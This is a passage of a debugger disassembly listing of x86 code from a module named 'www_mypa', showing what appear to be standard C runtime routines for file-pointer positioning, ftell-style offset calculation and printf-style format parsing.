00404B16 75 05 JNZ SHORT www_mypa.00404B1D 00404B18 42 INC EDX 00404B19 3BD1 CMP EDX,ECX 00404B1B ^72 F6 JB SHORT www_mypa.00404B13 00404B1D 3BD1 CMP EDX,ECX 00404B1F 75 4E JNZ SHORT www_mypa.00404B6F 00404B21 881F MOV BYTE PTR DS:[EDI],BL 00404B23 8B45 00 MOV EAX,DWORD PTR SS:[EBP] 00404B26 3BF8 CMP EDI,EAX 00404B28 77 34 JA SHORT www_mypa.00404B5E 00404B2A 3BC8 CMP ECX,EAX 00404B2C 76 30 JBE SHORT www_mypa.00404B5E 00404B2E 8D85 F8000000 LEA EAX,DWORD PTR SS:[EBP+F8] 00404B34 3BC8 CMP ECX,EAX 00404B36 73 19 JNB SHORT www_mypa.00404B51 00404B38 894D 00 MOV DWORD PTR SS:[EBP],ECX 00404B3B 8A11 MOV DL,BYTE PTR DS:[ECX] 00404B3D 33C0 XOR EAX,EAX 00404B3F 84D2 TEST DL,DL 00404B41 75 09 JNZ SHORT www_mypa.00404B4C 00404B43 8A5408 01 MOV DL,BYTE PTR DS:[EAX+ECX+1] 00404B47 40 INC EAX 00404B48 84D2 TEST DL,DL 00404B4A ^74 F7 JE SHORT www_mypa.00404B43 00404B4C 8945 04 MOV DWORD PTR SS:[EBP+4],EAX 00404B4F EB 0D JMP SHORT www_mypa.00404B5E 00404B51 8D45 08 LEA EAX,DWORD PTR SS:[EBP+8] 00404B54 C745 04 00000000 MOV DWORD PTR SS:[EBP+4],0 00404B5B 8945 00 MOV DWORD PTR SS:[EBP],EAX 00404B5E 8B4424 18 MOV EAX,DWORD PTR SS:[ESP+18] 00404B62 2BF3 SUB ESI,EBX 00404B64 8B08 MOV ECX,DWORD PTR DS:[EAX] 00404B66 03CE ADD ECX,ESI 00404B68 8908 MOV DWORD PTR DS:[EAX],ECX 00404B6A B8 01000000 MOV EAX,1 00404B6F 5F POP EDI 00404B70 5E POP ESI 00404B71 5D POP EBP 00404B72 5B POP EBX 00404B73 C3 RETN 00404B74 90 NOP 00404B75 90 NOP 00404B76 90 NOP 00404B77 90 NOP 00404B78 90 NOP 00404B79 90 NOP 00404B7A 90 NOP 00404B7B 90 NOP 00404B7C 90 NOP 00404B7D 90 NOP 00404B7E 90 NOP 00404B7F 90 NOP 00404B80 83EC 0C SUB ESP,0C 00404B83 53 PUSH EBX 00404B84 55 PUSH EBP 00404B85 8B6C24 18 MOV EBP,DWORD PTR SS:[ESP+18] 00404B89 56 PUSH ESI 00404B8A 57 PUSH EDI 00404B8B 8B45 04 MOV EAX,DWORD PTR SS:[EBP+4] 00404B8E 8B5D 10 MOV EBX,DWORD PTR SS:[EBP+10] 00404B91 85C0 TEST EAX,EAX 00404B93 7D 07 JGE SHORT www_mypa.00404B9C 00404B95 C745 04 00000000 MOV DWORD PTR SS:[EBP+4],0 00404B9C 6A 01 PUSH 1 00404B9E 6A 00 PUSH 0 00404BA0 6A 00 PUSH 0 00404BA2 53 PUSH EBX 00404BA3 E8 B8350000 CALL www_mypa.00408160 00404BA8 8BCA MOV ECX,EDX 00404BAA 83C4 10 ADD ESP,10 00404BAD 8BF0 MOV ESI,EAX 00404BAF 894C24 18 MOV DWORD PTR SS:[ESP+18],ECX 00404BB3 85C9 TEST ECX,ECX 00404BB5 897424 14 MOV DWORD PTR SS:[ESP+14],ESI 00404BB9 7F 18 JG SHORT www_mypa.00404BD3 00404BBB 0F8C 93010000 JL www_mypa.00404D54 00404BC1 85F6 TEST ESI,ESI 00404BC3 73 0E JNB SHORT www_mypa.00404BD3 00404BC5 83C8 FF OR EAX,FFFFFFFF 00404BC8 83CA FF OR EDX,FFFFFFFF 00404BCB 5F POP EDI 00404BCC 5E POP ESI 00404BCD 5D POP EBP 00404BCE 5B POP EBX 00404BCF 83C4 0C ADD ESP,0C 00404BD2 C3 RETN 00404BD3 8B45 0C MOV EAX,DWORD PTR SS:[EBP+C] 00404BD6 A9 08010000 TEST EAX,108 00404BDB 75 14 JNZ SHORT www_mypa.00404BF1 00404BDD 8B45 04 MOV EAX,DWORD PTR SS:[EBP+4] 00404BE0 99 CDQ 00404BE1 2BF0 SUB ESI,EAX 00404BE3 1BCA SBB ECX,EDX 00404BE5 8BC6 MOV EAX,ESI 00404BE7 8BD1 MOV EDX,ECX 00404BE9 5F POP EDI 00404BEA 5E POP ESI 00404BEB 5D POP EBP 00404BEC 5B POP EBX 00404BED 83C4 0C ADD ESP,0C 00404BF0 C3 RETN 00404BF1 8B4D 00 MOV ECX,DWORD PTR SS:[EBP] 00404BF4 8B7D 08 MOV EDI,DWORD PTR SS:[EBP+8] 00404BF7 8BF1 MOV ESI,ECX 00404BF9 2BF7 SUB ESI,EDI 00404BFB A8 03 TEST AL,3 00404BFD 897424 10 MOV DWORD PTR SS:[ESP+10],ESI 00404C01 0F84 3B010000 JE www_mypa.00404D42 00404C07 8BC3 MOV EAX,EBX 00404C09 8BD3 MOV EDX,EBX 00404C0B C1F8 05 SAR EAX,5 00404C0E 83E2 1F AND EDX,1F 00404C11 8B0485 E01A4100 MOV EAX,DWORD PTR DS:[EAX*4+411AE0] 00404C18 F644D0 04 80 TEST BYTE PTR DS:[EAX+EDX*8+4],80 00404C1D 74 15 JE SHORT www_mypa.00404C34 00404C1F 8BC7 MOV EAX,EDI 00404C21 3BC1 CMP EAX,ECX 00404C23 73 0F JNB SHORT www_mypa.00404C34 00404C25 8038 0A CMP BYTE PTR DS:[EAX],0A 00404C28 75 01 JNZ SHORT www_mypa.00404C2B 00404C2A 46 INC ESI 00404C2B 40 INC EAX 00404C2C 3BC1 CMP EAX,ECX 00404C2E ^72 F5 JB SHORT www_mypa.00404C25 00404C30 897424 10 MOV DWORD PTR SS:[ESP+10],ESI 00404C34 8B5424 14 MOV EDX,DWORD PTR SS:[ESP+14] 00404C38 8B4424 18 MOV EAX,DWORD PTR SS:[ESP+18] 00404C3C 0BD0 OR EDX,EAX 00404C3E 75 0C JNZ SHORT www_mypa.00404C4C 00404C40 8BC6 MOV EAX,ESI 00404C42 33D2 XOR EDX,EDX 00404C44 5F POP EDI 00404C45 5E POP ESI 00404C46 5D POP EBP 00404C47 5B POP EBX 00404C48 83C4 0C ADD ESP,0C 00404C4B C3 RETN 00404C4C F645 0C 01 TEST BYTE PTR SS:[EBP+C],1 00404C50 0F84 D6000000 JE www_mypa.00404D2C 00404C56 8B45 04 MOV EAX,DWORD PTR SS:[EBP+4] 00404C59 85C0 TEST EAX,EAX 00404C5B 75 09 JNZ SHORT www_mypa.00404C66 00404C5D 894424 10 MOV DWORD PTR SS:[ESP+10],EAX 00404C61 E9 C2000000 JMP www_mypa.00404D28 00404C66 8D3401 LEA ESI,DWORD PTR DS:[ECX+EAX] 00404C69 8BC3 MOV EAX,EBX 00404C6B C1F8 05 SAR EAX,5 00404C6E 2BF7 SUB ESI,EDI 00404C70 8BFB MOV EDI,EBX 00404C72 8B0C85 E01A4100 MOV ECX,DWORD PTR DS:[EAX*4+411AE0] 00404C79 8D2C85 E01A4100 LEA EBP,DWORD PTR DS:[EAX*4+411AE0] 00404C80 83E7 1F AND EDI,1F 00404C83 C1E7 03 SHL EDI,3 00404C86 F6440F 04 80 TEST BYTE PTR DS:[EDI+ECX+4],80 00404C8B 0F84 82000000 JE www_mypa.00404D13 00404C91 6A 02 PUSH 2 00404C93 6A 00 PUSH 0 00404C95 6A 00 PUSH 0 00404C97 53 PUSH EBX 00404C98 E8 C3340000 CALL www_mypa.00408160 00404C9D 8B4C24 24 MOV ECX,DWORD PTR SS:[ESP+24] 00404CA1 83C4 10 ADD ESP,10 00404CA4 3BC1 CMP EAX,ECX 00404CA6 75 29 JNZ SHORT www_mypa.00404CD1 00404CA8 3B5424 18 CMP EDX,DWORD PTR SS:[ESP+18] 00404CAC 75 23 JNZ SHORT www_mypa.00404CD1 00404CAE 8B5424 20 MOV EDX,DWORD PTR SS:[ESP+20] 00404CB2 8B42 08 MOV EAX,DWORD PTR DS:[EDX+8] 00404CB5 8D0C06 LEA ECX,DWORD PTR DS:[ESI+EAX] 00404CB8 3BC1 CMP EAX,ECX 00404CBA 73 0B JNB SHORT www_mypa.00404CC7 00404CBC 8038 0A CMP BYTE PTR DS:[EAX],0A 00404CBF 75 01 JNZ SHORT www_mypa.00404CC2 00404CC1 46 INC ESI 00404CC2 40 INC EAX 00404CC3 3BC1 CMP EAX,ECX 00404CC5 ^72 F5 JB SHORT www_mypa.00404CBC 00404CC7 8B42 0C MOV EAX,DWORD PTR DS:[EDX+C] 00404CCA F6C4 20 TEST AH,20 00404CCD 74 44 JE SHORT www_mypa.00404D13 00404CCF EB 41 JMP SHORT www_mypa.00404D12 00404CD1 8B5424 18 MOV EDX,DWORD PTR SS:[ESP+18] 00404CD5 6A 00 PUSH 0 00404CD7 52 PUSH EDX 00404CD8 51 PUSH ECX 00404CD9 53 PUSH EBX 00404CDA E8 81340000 CALL www_mypa.00408160 00404CDF 83C4 10 ADD ESP,10 00404CE2 81FE 00020000 CMP ESI,200 00404CE8 77 17 JA SHORT www_mypa.00404D01 00404CEA 8B4424 20 MOV EAX,DWORD PTR SS:[ESP+20] 00404CEE 8B40 0C MOV EAX,DWORD PTR DS:[EAX+C] 00404CF1 A8 08 TEST AL,8 00404CF3 74 0C JE SHORT www_mypa.00404D01 00404CF5 F6C4 04 TEST AH,4 00404CF8 75 07 JNZ SHORT www_mypa.00404D01 00404CFA BE 00020000 MOV ESI,200 00404CFF EB 07 JMP SHORT www_mypa.00404D08 00404D01 8B4C24 20 MOV ECX,DWORD PTR SS:[ESP+20] 00404D05 8B71 18 MOV ESI,DWORD PTR DS:[ECX+18] 00404D08 8B55 00 MOV EDX,DWORD PTR SS:[EBP] 00404D0B F64417 04 04 TEST BYTE PTR DS:[EDI+EDX+4],4 00404D10 74 01 JE SHORT www_mypa.00404D13 00404D12 46 INC ESI 00404D13 8B4C24 14 MOV ECX,DWORD PTR SS:[ESP+14] 00404D17 8B4424 18 MOV EAX,DWORD PTR SS:[ESP+18] 00404D1B 2BCE SUB ECX,ESI 00404D1D 83D8 00 SBB EAX,0 00404D20 894C24 14 MOV DWORD PTR SS:[ESP+14],ECX 00404D24 894424 18 MOV DWORD PTR SS:[ESP+18],EAX 00404D28 8B7424 10 MOV ESI,DWORD PTR SS:[ESP+10] 00404D2C 8B4424 14 MOV EAX,DWORD PTR SS:[ESP+14] 00404D30 8B5424 18 MOV EDX,DWORD PTR SS:[ESP+18] 00404D34 33C9 XOR ECX,ECX 00404D36 03C6 ADD EAX,ESI 00404D38 13D1 ADC EDX,ECX 00404D3A 5F POP EDI 00404D3B 5E POP ESI 00404D3C 5D POP EBP 00404D3D 5B POP EBX 00404D3E 83C4 0C ADD ESP,0C 00404D41 C3 RETN 00404D42 A8 80 TEST AL,80 00404D44 ^0F85 EAFEFFFF JNZ www_mypa.00404C34 00404D4A C705 E8064100 16>MOV DWORD PTR DS:[4106E8],16 00404D54 5F POP EDI 00404D55 5E POP ESI 00404D56 83C8 FF OR EAX,FFFFFFFF 00404D59 5D POP EBP 00404D5A 83CA FF OR EDX,FFFFFFFF 00404D5D 5B POP EBX 00404D5E 83C4 0C ADD ESP,0C 00404D61 C3 RETN 00404D62 90 NOP 00404D63 90 NOP 00404D64 90 NOP 00404D65 90 NOP 00404D66 90 NOP 00404D67 90 NOP 00404D68 90 NOP 00404D69 90 NOP 00404D6A 90 NOP 00404D6B 90 NOP 00404D6C 90 NOP 00404D6D 90 NOP 00404D6E 90 NOP 00404D6F 90 NOP 00404D70 8B4424 04 MOV EAX,DWORD PTR SS:[ESP+4] 00404D74 8B0D E01B4100 MOV ECX,DWORD PTR DS:[411BE0] 00404D7A 53 PUSH EBX 00404D7B 56 PUSH ESI 00404D7C 3BC1 CMP EAX,ECX 00404D7E 57 PUSH EDI 00404D7F 0F83 8D000000 JNB www_mypa.00404E12 00404D85 8BC8 MOV ECX,EAX 00404D87 8BF0 MOV ESI,EAX 00404D89 C1F9 05 SAR ECX,5 00404D8C 83E6 1F AND ESI,1F 00404D8F 8B148D E01A4100 MOV EDX,DWORD PTR DS:[ECX*4+411AE0] 00404D96 8D1C8D E01A4100 LEA EBX,DWORD PTR DS:[ECX*4+411AE0] 00404D9D C1E6 03 SHL ESI,3 00404DA0 F64432 04 01 TEST BYTE PTR DS:[EDX+ESI+4],1 00404DA5 74 6B JE SHORT www_mypa.00404E12 00404DA7 50 PUSH EAX 00404DA8 E8 D32D0000 CALL www_mypa.00407B80 00404DAD 83C4 04 ADD ESP,4 00404DB0 83F8 FF CMP EAX,-1 00404DB3 75 10 JNZ SHORT www_mypa.00404DC5 00404DB5 C705 E8064100 09>MOV DWORD PTR DS:[4106E8],9 00404DBF 0BC0 OR EAX,EAX 00404DC1 5F POP EDI 00404DC2 5E POP ESI 00404DC3 5B POP EBX 00404DC4 C3 RETN 00404DC5 8B4C24 18 MOV ECX,DWORD PTR SS:[ESP+18] 00404DC9 8B5424 14 MOV EDX,DWORD PTR SS:[ESP+14] 00404DCD 51 PUSH ECX 00404DCE 6A 00 PUSH 0 00404DD0 52 PUSH EDX 00404DD1 50 PUSH EAX 00404DD2 FF15 48224100 CALL DWORD PTR DS:[412248] ; kernel32.SetFilePointer 00404DD8 8BF8 MOV EDI,EAX 00404DDA 83FF FF CMP EDI,-1 00404DDD 75 08 JNZ SHORT www_mypa.00404DE7 00404DDF FF15 00224100 CALL DWORD PTR DS:[412200] ; ntdll.RtlGetLastWin32Error 00404DE5 EB 02 JMP SHORT www_mypa.00404DE9 00404DE7 33C0 XOR EAX,EAX 00404DE9 85C0 TEST EAX,EAX 00404DEB 74 10 JE SHORT www_mypa.00404DFD 00404DED 50 PUSH EAX 00404DEE E8 DD150000 CALL www_mypa.004063D0 00404DF3 83C4 04 ADD ESP,4 00404DF6 83C8 FF OR EAX,FFFFFFFF 00404DF9 5F POP EDI 00404DFA 5E POP ESI 00404DFB 5B POP EBX 00404DFC C3 RETN 00404DFD 8B03 MOV EAX,DWORD PTR DS:[EBX] 00404DFF 8A4C30 04 MOV CL,BYTE PTR DS:[EAX+ESI+4] 00404E03 8D4430 04 LEA EAX,DWORD PTR DS:[EAX+ESI+4] 00404E07 80E1 FD AND CL,0FD 00404E0A 8808 MOV BYTE PTR DS:[EAX],CL 00404E0C 8BC7 MOV EAX,EDI 00404E0E 5F POP EDI 00404E0F 5E POP ESI 00404E10 5B POP EBX 00404E11 C3 RETN 00404E12 5F POP EDI 00404E13 5E POP ESI 00404E14 C705 E8064100 09>MOV DWORD PTR DS:[4106E8],9 00404E1E C705 EC064100 00>MOV DWORD PTR DS:[4106EC],0 00404E28 83C8 FF OR EAX,FFFFFFFF 00404E2B 5B POP EBX 00404E2C C3 RETN 00404E2D 90 NOP 00404E2E 90 NOP 00404E2F 90 NOP 00404E30 83EC 08 SUB ESP,8 00404E33 53 PUSH EBX 00404E34 55 PUSH EBP 00404E35 56 PUSH ESI 00404E36 8B7424 18 MOV ESI,DWORD PTR SS:[ESP+18] 00404E3A 57 PUSH EDI 00404E3B 8B46 04 MOV EAX,DWORD PTR DS:[ESI+4] 00404E3E 8B5E 10 MOV EBX,DWORD PTR DS:[ESI+10] 00404E41 85C0 TEST EAX,EAX 00404E43 7D 07 JGE SHORT www_mypa.00404E4C 00404E45 C746 04 00000000 MOV DWORD PTR DS:[ESI+4],0 00404E4C 6A 01 PUSH 1 00404E4E 6A 00 PUSH 0 00404E50 53 PUSH EBX 00404E51 E8 1AFFFFFF CALL www_mypa.00404D70 00404E56 8BC8 MOV ECX,EAX 00404E58 83C4 0C ADD ESP,0C 00404E5B 85C9 TEST ECX,ECX 00404E5D 894C24 14 MOV DWORD PTR SS:[ESP+14],ECX 00404E61 7D 0B JGE SHORT www_mypa.00404E6E 00404E63 83C8 FF OR EAX,FFFFFFFF 00404E66 5F POP EDI 00404E67 5E POP ESI 00404E68 5D POP EBP 00404E69 5B POP EBX 00404E6A 83C4 08 ADD ESP,8 00404E6D C3 RETN 00404E6E 8B46 0C MOV EAX,DWORD PTR DS:[ESI+C] 00404E71 A9 08010000 TEST EAX,108 00404E76 75 0F JNZ SHORT www_mypa.00404E87 00404E78 8BC1 MOV EAX,ECX 00404E7A 8B4E 04 MOV ECX,DWORD PTR DS:[ESI+4] 00404E7D 2BC1 SUB EAX,ECX 00404E7F 5F POP EDI 00404E80 5E POP ESI 00404E81 5D POP EBP 00404E82 5B POP EBX 00404E83 83C4 08 ADD ESP,8 00404E86 C3 RETN 00404E87 8B0E MOV ECX,DWORD PTR DS:[ESI] 00404E89 8B6E 08 MOV EBP,DWORD PTR DS:[ESI+8] 00404E8C 8BD1 MOV EDX,ECX 00404E8E 2BD5 SUB EDX,EBP 00404E90 A8 03 TEST AL,3 00404E92 895424 10 MOV DWORD PTR SS:[ESP+10],EDX 00404E96 0F84 18010000 JE www_mypa.00404FB4 00404E9C 8BC3 MOV EAX,EBX 00404E9E 8BFB MOV EDI,EBX 00404EA0 C1F8 05 SAR EAX,5 00404EA3 83E7 1F AND EDI,1F 00404EA6 8B0485 E01A4100 MOV EAX,DWORD PTR DS:[EAX*4+411AE0] 00404EAD F644F8 04 80 TEST BYTE PTR DS:[EAX+EDI*8+4],80 00404EB2 74 15 JE SHORT www_mypa.00404EC9 00404EB4 8BC5 MOV EAX,EBP 00404EB6 3BC1 CMP EAX,ECX 00404EB8 73 0F JNB SHORT www_mypa.00404EC9 00404EBA 8038 0A CMP BYTE PTR DS:[EAX],0A 00404EBD 75 01 JNZ SHORT www_mypa.00404EC0 00404EBF 42 INC EDX 00404EC0 40 INC EAX 00404EC1 3BC1 CMP EAX,ECX 00404EC3 ^72 F5 JB SHORT www_mypa.00404EBA 00404EC5 895424 10 MOV DWORD PTR SS:[ESP+10],EDX 00404EC9 8B4424 14 MOV EAX,DWORD PTR SS:[ESP+14] 00404ECD 85C0 TEST EAX,EAX 00404ECF 75 0A JNZ SHORT www_mypa.00404EDB 00404ED1 8BC2 MOV EAX,EDX 00404ED3 5F POP EDI 00404ED4 5E POP ESI 00404ED5 5D POP EBP 00404ED6 5B POP EBX 00404ED7 83C4 08 ADD ESP,8 00404EDA C3 RETN 00404EDB F646 0C 01 TEST BYTE PTR DS:[ESI+C],1 00404EDF 0F84 C0000000 JE www_mypa.00404FA5 00404EE5 8B46 04 MOV EAX,DWORD PTR DS:[ESI+4] 00404EE8 85C0 TEST EAX,EAX 00404EEA 75 15 JNZ SHORT www_mypa.00404F01 00404EEC 8B4C24 14 MOV ECX,DWORD PTR SS:[ESP+14] 00404EF0 8BD0 MOV EDX,EAX 00404EF2 894424 10 MOV DWORD PTR SS:[ESP+10],EAX 00404EF6 8D0411 LEA EAX,DWORD PTR DS:[ECX+EDX] 00404EF9 5F POP EDI 00404EFA 5E POP ESI 00404EFB 5D POP EBP 00404EFC 5B POP EBX 00404EFD 83C4 08 ADD ESP,8 00404F00 C3 RETN 00404F01 8D3C01 LEA EDI,DWORD PTR DS:[ECX+EAX] 00404F04 8BCB MOV ECX,EBX 00404F06 C1F9 05 SAR ECX,5 00404F09 2BFD SUB EDI,EBP 00404F0B 8BF3 MOV ESI,EBX 00404F0D 8B048D E01A4100 MOV EAX,DWORD PTR DS:[ECX*4+411AE0] 00404F14 8D2C8D E01A4100 LEA EBP,DWORD PTR DS:[ECX*4+411AE0] 00404F1B 83E6 1F AND ESI,1F 00404F1E C1E6 03 SHL ESI,3 00404F21 F64406 04 80 TEST BYTE PTR DS:[ESI+EAX+4],80 00404F26 74 79 JE SHORT www_mypa.00404FA1 00404F28 6A 02 PUSH 2 00404F2A 6A 00 PUSH 0 00404F2C 53 PUSH EBX 00404F2D E8 3EFEFFFF CALL www_mypa.00404D70 00404F32 8B4C24 20 MOV ECX,DWORD PTR SS:[ESP+20] 00404F36 83C4 0C ADD ESP,0C 00404F39 3BC1 CMP EAX,ECX 00404F3B 75 23 JNZ SHORT www_mypa.00404F60 00404F3D 8B5424 1C MOV EDX,DWORD PTR SS:[ESP+1C] 00404F41 8B42 08 MOV EAX,DWORD PTR DS:[EDX+8] 00404F44 8D0C07 LEA ECX,DWORD PTR DS:[EDI+EAX] 00404F47 3BC1 CMP EAX,ECX 00404F49 73 0B JNB SHORT www_mypa.00404F56 00404F4B 8038 0A CMP BYTE PTR DS:[EAX],0A 00404F4E 75 01 JNZ SHORT www_mypa.00404F51 00404F50 47 INC EDI 00404F51 40 INC EAX 00404F52 3BC1 CMP EAX,ECX 00404F54 ^72 F5 JB SHORT www_mypa.00404F4B 00404F56 8B42 0C MOV EAX,DWORD PTR DS:[EDX+C] 00404F59 F6C4 20 TEST AH,20 00404F5C 74 3F JE SHORT www_mypa.00404F9D 00404F5E EB 3C JMP SHORT www_mypa.00404F9C 00404F60 6A 00 PUSH 0 00404F62 51 PUSH ECX 00404F63 53 PUSH EBX 00404F64 E8 07FEFFFF CALL www_mypa.00404D70 00404F69 83C4 0C ADD ESP,0C 00404F6C 81FF 00020000 CMP EDI,200 00404F72 77 17 JA SHORT www_mypa.00404F8B 00404F74 8B4C24 1C MOV ECX,DWORD PTR SS:[ESP+1C] 00404F78 8B41 0C MOV EAX,DWORD PTR DS:[ECX+C] 00404F7B A8 08 TEST AL,8 00404F7D 74 0C JE SHORT www_mypa.00404F8B 00404F7F F6C4 04 TEST AH,4 00404F82 75 07 JNZ SHORT www_mypa.00404F8B 00404F84 BF 00020000 MOV EDI,200 00404F89 EB 07 JMP SHORT www_mypa.00404F92 00404F8B 8B5424 1C MOV EDX,DWORD PTR SS:[ESP+1C] 00404F8F 8B7A 18 MOV EDI,DWORD PTR DS:[EDX+18] 00404F92 8B45 00 MOV EAX,DWORD PTR SS:[EBP] 00404F95 F64406 04 04 TEST BYTE PTR DS:[ESI+EAX+4],4 00404F9A 74 01 JE SHORT www_mypa.00404F9D 00404F9C 47 INC EDI 00404F9D 8B5424 10 MOV EDX,DWORD PTR SS:[ESP+10] 00404FA1 297C24 14 SUB DWORD PTR SS:[ESP+14],EDI 00404FA5 8B4C24 14 MOV ECX,DWORD PTR SS:[ESP+14] 00404FA9 8D0411 LEA EAX,DWORD PTR DS:[ECX+EDX] 00404FAC 5F POP EDI 00404FAD 5E POP ESI 00404FAE 5D POP EBP 00404FAF 5B POP EBX 00404FB0 83C4 08 ADD ESP,8 00404FB3 C3 RETN 00404FB4 A8 80 TEST AL,80 00404FB6 ^0F85 0DFFFFFF JNZ www_mypa.00404EC9 00404FBC 5F POP EDI 00404FBD 5E POP ESI 00404FBE 5D POP EBP 00404FBF C705 E8064100 16>MOV DWORD PTR DS:[4106E8],16 00404FC9 83C8 FF OR EAX,FFFFFFFF 00404FCC 5B POP EBX 00404FCD 83C4 08 ADD ESP,8 00404FD0 C3 RETN 00404FD1 90 NOP 00404FD2 90 NOP 00404FD3 90 NOP 00404FD4 90 NOP 00404FD5 90 NOP 00404FD6 90 NOP 00404FD7 90 NOP 00404FD8 90 NOP 00404FD9 90 NOP 00404FDA 90 NOP 00404FDB 90 NOP 00404FDC 90 NOP 00404FDD 90 NOP 00404FDE 90 NOP 00404FDF 90 NOP 00404FE0 81EC 4C020000 SUB ESP,24C 00404FE6 53 PUSH EBX 00404FE7 55 PUSH EBP 00404FE8 56 PUSH ESI 00404FE9 57 PUSH EDI 00404FEA 8BBC24 64020000 MOV EDI,DWORD PTR SS:[ESP+264] 00404FF1 33C9 XOR ECX,ECX 00404FF3 33ED XOR EBP,EBP 00404FF5 894C24 1C MOV DWORD PTR SS:[ESP+1C],ECX 00404FF9 8A1F MOV BL,BYTE PTR DS:[EDI] 00404FFB 47 INC EDI 00404FFC 84DB TEST BL,BL 00404FFE 885C24 40 MOV BYTE PTR SS:[ESP+40],BL 00405002 89BC24 64020000 MOV DWORD PTR SS:[ESP+264],EDI 00405009 0F84 28080000 JE www_mypa.00405837 0040500F 8B7424 28 MOV ESI,DWORD PTR SS:[ESP+28] 00405013 EB 08 JMP SHORT www_mypa.0040501D 00405015 8B7424 28 MOV ESI,DWORD PTR SS:[ESP+28] 00405019 8B4C24 3C MOV ECX,DWORD PTR SS:[ESP+3C] 0040501D 8B4424 1C MOV EAX,DWORD PTR SS:[ESP+1C] 00405021 33D2 XOR EDX,EDX 00405023 3BC2 CMP EAX,EDX 00405025 0F8C 0C080000 JL www_mypa.00405837 0040502B 80FB 20 CMP BL,20 0040502E 7C 13 JL SHORT www_mypa.00405043 00405030 80FB 78 CMP BL,78 00405033 7F 0E JG SHORT www_mypa.00405043 00405035 0FBEC3 MOVSX EAX,BL 00405038 8A80 F09F4000 MOV AL,BYTE PTR DS:[EAX+409FF0] 0040503E 83E0 0F AND EAX,0F 00405041 EB 02 JMP SHORT www_mypa.00405045 00405043 33C0 XOR EAX,EAX 00405045 0FBE84C1 10A0400>MOVSX EAX,BYTE PTR DS:[ECX+EAX*8+40A010] 0040504D C1F8 04 SAR EAX,4 00405050 83F8 07 CMP EAX,7 00405053 894424 3C MOV DWORD PTR SS:[ESP+3C],EAX 00405057 0F87 BD070000 JA www_mypa.0040581A 0040505D FF2485 5C584000 JMP DWORD PTR DS:[EAX*4+40585C] 00405064 895424 44 MOV DWORD PTR SS:[ESP+44],EDX 00405068 895424 34 MOV DWORD PTR SS:[ESP+34],EDX 0040506C 895424 28 MOV DWORD PTR SS:[ESP+28],EDX 00405070 895424 24 MOV DWORD PTR SS:[ESP+24],EDX 00405074 895424 10 MOV DWORD PTR SS:[ESP+10],EDX 00405078 C74424 18 FFFFFF>MOV DWORD PTR SS:[ESP+18],-1 00405080 895424 2C MOV DWORD PTR SS:[ESP+2C],EDX 00405084 E9 91070000 JMP www_mypa.0040581A 00405089 0FBEC3 MOVSX EAX,BL 0040508C 83C0 E0 ADD EAX,-20 0040508F 83F8 10 CMP EAX,10 00405092 0F87 82070000 JA www_mypa.0040581A 00405098 33C9 XOR ECX,ECX 0040509A 8A88 94584000 MOV CL,BYTE PTR DS:[EAX+405894] 004050A0 FF248D 7C584000 JMP DWORD PTR DS:[ECX*4+40587C] 004050A7 8B4424 10 MOV EAX,DWORD PTR SS:[ESP+10] 004050AB 0C 04 OR AL,4 004050AD 894424 10 MOV DWORD PTR SS:[ESP+10],EAX 004050B1 E9 64070000 JMP www_mypa.0040581A 004050B6 8B4424 10 MOV EAX,DWORD PTR SS:[ESP+10] 004050BA 0C 01 OR AL,1 004050BC 894424 10 MOV DWORD PTR SS:[ESP+10],EAX 004050C0 E9 55070000 JMP www_mypa.0040581A 004050C5 8B4424 10 MOV EAX,DWORD PTR SS:[ESP+10] 004050C9 0C 02 OR AL,2 004050CB 894424 10 MOV DWORD PTR SS:[ESP+10],EAX 004050CF E9 46070000 JMP www_mypa.0040581A 004050D4 8B4424 10 MOV EAX,DWORD PTR SS:[ESP+10] 004050D8 0C 80 OR AL,80 004050DA 894424 10 MOV DWORD PTR SS:[ESP+10],EAX 004050DE E9 37070000 JMP www_mypa.0040581A 004050E3 8B4424 10 MOV EAX,DWORD PTR SS:[ESP+10] 004050E7 0C 08 OR AL,8 004050E9 894424 10 MOV DWORD PTR SS:[ESP+10],EAX 004050ED E9 28070000 JMP www_mypa.0040581A 004050F2 80FB 2A CMP BL,2A 004050F5 75 32 JNZ SHORT www_mypa.00405129 004050F7 8D9424 68020000 LEA EDX,DWORD PTR SS:[ESP+268] 004050FE 52 PUSH EDX 004050FF E8 3C090000 CALL www_mypa.00405A40 00405104 83C4 04 ADD ESP,4 00405107 894424 28 MOV DWORD PTR SS:[ESP+28],EAX 0040510B 85C0 TEST EAX,EAX 0040510D 0F8D 07070000 JGE www_mypa.0040581A 00405113 8B5424 10 MOV EDX,DWORD PTR SS:[ESP+10] 00405117 83CA 04 OR EDX,4 0040511A F7D8 NEG EAX 0040511C 895424 10 MOV DWORD PTR SS:[ESP+10],EDX 00405120 894424 28 MOV DWORD PTR SS:[ESP+28],EAX 00405124 E9 F1060000 JMP www_mypa.0040581A 00405129 0FBECB MOVSX ECX,BL 0040512C 8D04B6 LEA EAX,DWORD PTR DS:[ESI+ESI*4] 0040512F 8D5441 D0 LEA EDX,DWORD PTR DS:[ECX+EAX*2-30] 00405133 895424 28 MOV DWORD PTR SS:[ESP+28],EDX 00405137 E9 DE060000 JMP www_mypa.0040581A 0040513C 895424 18 MOV DWORD PTR SS:[ESP+18],EDX 00405140 E9 D5060000 JMP www_mypa.0040581A 00405145 80FB 2A CMP BL,2A 00405148 75 29 JNZ SHORT www_mypa.00405173 0040514A 8D8424 68020000 LEA EAX,DWORD PTR SS:[ESP+268] 00405151 50 PUSH EAX 00405152 E8 E9080000 CALL www_mypa.00405A40 00405157 83C4 04 ADD ESP,4 0040515A 894424 18 MOV DWORD PTR SS:[ESP+18],EAX 0040515E 85C0 TEST EAX,EAX 00405160 0F8D B4060000 JGE www_mypa.0040581A 00405166 C74424 18 FFFFFF>MOV DWORD PTR SS:[ESP+18],-1 0040516E E9 A7060000 JMP www_mypa.0040581A 00405173 8B4424 18 MOV EAX,DWORD PTR SS:[ESP+18] 00405177 0FBED3 MOVSX EDX,BL 0040517A 8D0C80 LEA ECX,DWORD PTR DS:[EAX+EAX*4] 0040517D 8D444A D0 LEA EAX,DWORD PTR DS:[EDX+ECX*2-30] 00405181 894424 18 MOV DWORD PTR SS:[ESP+18],EAX 00405185 E9 90060000 JMP www_mypa.0040581A 0040518A 0FBEC3 MOVSX EAX,BL 0040518D 83C0 B7 ADD EAX,-49 00405190 83F8 2E CMP EAX,2E 00405193 0F87 81060000 JA www_mypa.0040581A 00405199 33C9 XOR ECX,ECX 0040519B 8A88 BC584000 MOV CL,BYTE PTR DS:[EAX+4058BC] 004051A1 FF248D A8584000 JMP DWORD PTR DS:[ECX*4+4058A8] 004051A8 8B4424 10 MOV 